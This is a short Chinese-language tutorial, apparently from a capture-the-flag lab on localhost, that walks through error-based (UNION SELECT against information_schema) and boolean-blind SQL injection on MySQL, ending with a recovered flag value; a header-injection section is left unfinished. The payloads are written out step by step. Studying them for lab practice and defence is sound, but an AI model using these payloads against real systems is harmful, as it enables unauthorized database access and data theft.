只说步骤,以下均用http://localhost/index.php?id=1来注入。以MySQL为例。

实际情况请考虑转义字符。

用到的函数(根据实际情况使用)

database():返回当前所在库。
length(string):返回字符串长度。
ascii(string):返回字符的ASCII码(int)。
SUBSTR(string,int1,int2):截取字符串,int1从1开始计数,是起始位置。int2为截至长度。

显错注入

  • 检测是否存在SQL注入,下述情况即存在。
1
2
3
4
-- 有数据
id=1 and 1=1
-- 无数据
id=1 and 1=2
  • 使用order by语句测试有多少字段,注意观察页面变化。这里假设有三个字段。
1
id=1 order by 3
  • 查看当前所在哪一个库,这里id=5是查不出来数据的,这是为了第一条数据是查出来的库名,后面select语句的1,3是为了占位,因为一共有三个字段。
1
id=5 union select 1,database(),3
  • 知道库名后(假设为user),从系统表information_schema.tables查出user库下有哪些表。
1
id=5 union select 1,table_name,3 from information_schema.tables where table_schema='user' limit 0,10

布尔盲注

  • 检测是否存在SQL注入,下述情况即存在。
1
2
3
4
-- 有数据
id=1 and 1=1
-- 无数据
id=1 and 1=2
  • 猜测库名长度,这里猜出来是12
1
id=1 and length(database())<=12
  • 一个字符一个字符的猜测库名(一般会写个脚本猜测,这里解释原理),ASCII码从48-122包含数字,小写字母,大写字母和一些符号,这里猜测出来库名是 kanwolongxia
1
2
3
4
5
6
7
8
-- 类似于这样,直到猜出来库名
id=1 and ascii(substr(database(),1,1))>=109
id=1 and ascii(substr(database(),1,1))>=103
id=1 and ascii(substr(database(),1,1))>=107
id=1 and ascii(substr(database(),2,1))>=97
id=1 and ascii(substr(database(),3,1))>=110
id=1 and ascii(substr(database(),4,1))>=119
......
  • 猜解表的数量,这里有3个表
1
id=1 and (select count(table_name) from information_schema.tables where table_schema='kanwolongxia')>=3
  • 猜解每个表的名字,第一个表是loflag,第二个表是news,第三个表是user
1
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1))>=109
  • 猜解表的数据,先看有几个字段,再猜解表字段是什么。
1
2
3
4
5
6
-- 查看表有几个字段
id=1 and (select count(column_name) from information_schema.columns where table_schema='kanwolongxia' and table_name='loflag')>1
-- 猜字段,loflag的第一个字段是Id,第二个字段是flaglo
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema='kanwolongxia' and table_name='loflag' limit 0,1),1,1))>=97
-- 猜解flag,有五条数据,第一条是zKaQ-QQQ
id=1 and ascii(substr((select flaglo from loflag limit 0,1),1,1))>=97

Head注入

尚未更新